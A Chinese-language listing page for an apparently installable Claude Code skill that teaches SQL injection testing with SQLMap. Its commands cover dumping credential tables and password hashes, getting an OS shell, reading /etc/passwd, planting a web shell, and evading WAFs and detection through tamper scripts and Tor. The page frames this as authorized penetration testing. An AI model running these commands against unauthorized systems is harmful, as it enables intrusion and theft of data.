关于 sqlmap-database-pentesting
面向安全测试的技能,介绍如何使用 SQLMap 在授权范围内检测 SQL 注入,并进行数据库枚举和数据提取。内容涵盖多种目标输入方式、数据库系统及注入技术。
主要功能
- 01SQL 注入检测流程
- 02枚举数据库、表和列
- 03支持 URL、请求文件、日志及批量目标
- 04提取指定表或数据库的数据
- 05涵盖多种 DBMS 和注入技术
适用场景
- 01评估授权 Web 应用的 SQL 注入风险
- 02确认注入点后枚举数据库结构
- 03测试从 HTTP 请求文件读取的 POST 请求
- 04整理范围明确的渗透测试发现
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ zebbern/ claude-code-guide --skill sqlmap-database-pentesting安装后在 Claude Code 中输入/sqlmap-database-pentesting确认已加载。
详细介绍
SQLMap 数据库渗透测试
用途
使用 SQLMap 提供自动化 SQL 注入检测与利用的系统化方法。本技能涵盖数据库枚举、表和列发现、数据提取、多种目标指定方法,以及针对 MySQL、PostgreSQL、MSSQL、Oracle 和其他数据库管理系统的高级利用技术。
输入 / 前提条件
- 目标 URL:包含可注入参数的 Web 应用 URL(例如,
?id=1) - SQLMap 安装:已预装在 Kali Linux 上,或从 GitHub 下载
- 已验证的注入点:已确认或怀疑 URL 参数可进行 SQL 注入
- 请求文件(可选):Burp Suite 捕获的 HTTP 请求,用于基于 POST 的注入
- 授权:已获得渗透测试活动的书面许可
输出 / 交付成果
- 数据库枚举:目标服务器上的所有数据库列表
- 表结构:目标数据库中的完整表名列表
- 列映射:每个表的列名和数据类型
- 提取的数据:导出的记录,包括用户名、密码和敏感数据
- 哈希值:用于离线破解的密码哈希
- 漏洞报告:确认 SQL 注入类型和严重程度
核心工作流
1. 识别 SQL 注入漏洞
手动验证
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
初步 SQLMap 扫描
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. 枚举数据库
列出所有数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
关键选项:
-u:包含可注入参数的目标 URL--dbs:枚举数据库名称--batch:使用默认回答(非交互模式)
3. 枚举表
列出指定数据库中的表
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
关键选项:
-D:指定目标数据库名称--tables:枚举表名
4. 枚举列
列出指定表中的列
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
关键选项:
-T:指定目标表名--columns:枚举列名
5. 提取数据
导出指定表的数据
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
导出指定列
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
导出整个数据库
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
关键选项:
--dump:提取指定表中的所有数据--dump-all:提取所有表中的所有数据-C:指定要提取的列名
6. 高级目标选项
从 HTTP 请求文件指定目标
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
从日志文件指定目标
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
指定多个 URL(批量文件)
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
通过 Google 搜索语法指定目标(谨慎使用)
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
命令速查
数据库枚举步骤
| 阶段 | 命令 |
|---|---|
| 列出数据库 | sqlmap -u "URL" --dbs --batch |
| 列出表 | sqlmap -u "URL" -D dbname --tables --batch |
| 列出列 | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| 导出数据 | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| 导出全部数据 | sqlmap -u "URL" -D dbname --dump-all --batch |
支持的数据库管理系统
| DBMS | 支持级别 |
|---|---|
| MySQL | 完全支持 |
| PostgreSQL | 完全支持 |
| Microsoft SQL Server | 完全支持 |
| Oracle | 完全支持 |
| Microsoft Access | 完全支持 |
| IBM DB2 | 完全支持 |
| SQLite | 完全支持 |
| Firebird | 完全支持 |
| Sybase | 完全支持 |
| SAP MaxDB | 完全支持 |
| HSQLDB | 完全支持 |
| Informix | 完全支持 |
SQL 注入技术
| 技术 | 描述 | 标志 |
|---|---|---|
| 基于布尔的盲注 | 根据真/假响应推断数据 | --technique=B |
| 基于时间的盲注 | 利用时间延迟推断数据 | --technique=T |
| 基于错误的注入 | 从错误消息中提取数据 | --technique=E |
| 基于 UNION 查询的注入 | 使用 UNION 附加结果 | --technique=U |
| 堆叠查询 | 执行多条语句 | --technique=S |
| 带外注入 | 使用 DNS 或 HTTP 外传数据 | --technique=Q |
基本选项
| 选项 | 描述 |
|---|---|
-u | 目标 URL |
-r | 从文件加载 HTTP 请求 |
-l | 从 Burp/WebScarab 日志解析目标 |
-m | 包含多个目标的批量文件 |
-g | Google dork(请负责任地使用) |
--dbs | 枚举数据库 |
--tables | 枚举表 |
--columns | 枚举列 |
--dump | 导出表数据 |
--dump-all | 导出所有数据库数据 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--batch | 非交互模式 |
--random-agent | 使用随机 User-Agent |
--level | 测试级别(1-5) |
--risk | 测试风险等级(1-3) |
约束与限制
操作边界
- 目标 URL 中必须包含有效的可注入参数
- 必须能够连接到目标数据库服务器
- 导出大型数据库可能需要较长时间
- 某些 WAF/IPS 系统可能会拦截 SQLMap 流量
- 基于时间的攻击明显比基于错误的攻击慢
性能注意事项
- 使用
--threads加快枚举速度(默认为 1) - 对于大型表,使用
--start和--stop限制导出范围 - 如果已知更快的注入方式,可使用
--technique指定
法律要求
- 仅测试已获得明确书面授权的系统
- 针对未知网站发起 Google dork 攻击属于违法行为
- 记录所有测试活动和发现
- 遵守约定规则中定义的范围限制
检测风险
- SQLMap 会生成大量日志条目
- 使用
--random-agent更换 User-Agent 标头 - 考虑使用
--delay避免触发速率限制 - 仅在获得授权的测试中使用
--tor通过 Tor 代理以实现匿名
示例
示例 1:完整数据库枚举
# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns
# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
示例 2:POST 请求注入
# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
示例 3:批量目标扫描
# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
示例 4:激进测试
# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
示例 5:提取特定凭据
# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
示例 6:操作系统 Shell 访问(高级)
# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
故障排除
问题:“参数似乎不可注入”
原因:SQLMap 无法找到注入点 解决方案:
# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch
# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT
# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
问题:目标位于 WAF/防火墙之后
原因:Web 应用防火墙拦截请求 解决方案:
# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# List available tamper scripts
sqlmap --list-tampers
# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2
# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
问题:连接超时
原因:网络问题或目标响应缓慢 解决方案:
# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60
# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1
# Add retries
sqlmap -u "URL" --dbs --batch --retries=5
问题:基于时间的攻击太慢
原因:默认时间延迟过于保守 解决方案:
# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3
# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B
问题:无法导出大型表
原因:表中的记录过多 解决方案:
# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
问题:长时间扫描期间会话中断
原因:会话超时或连接重置 解决方案:
# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume
# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive
评论
支持 Markdown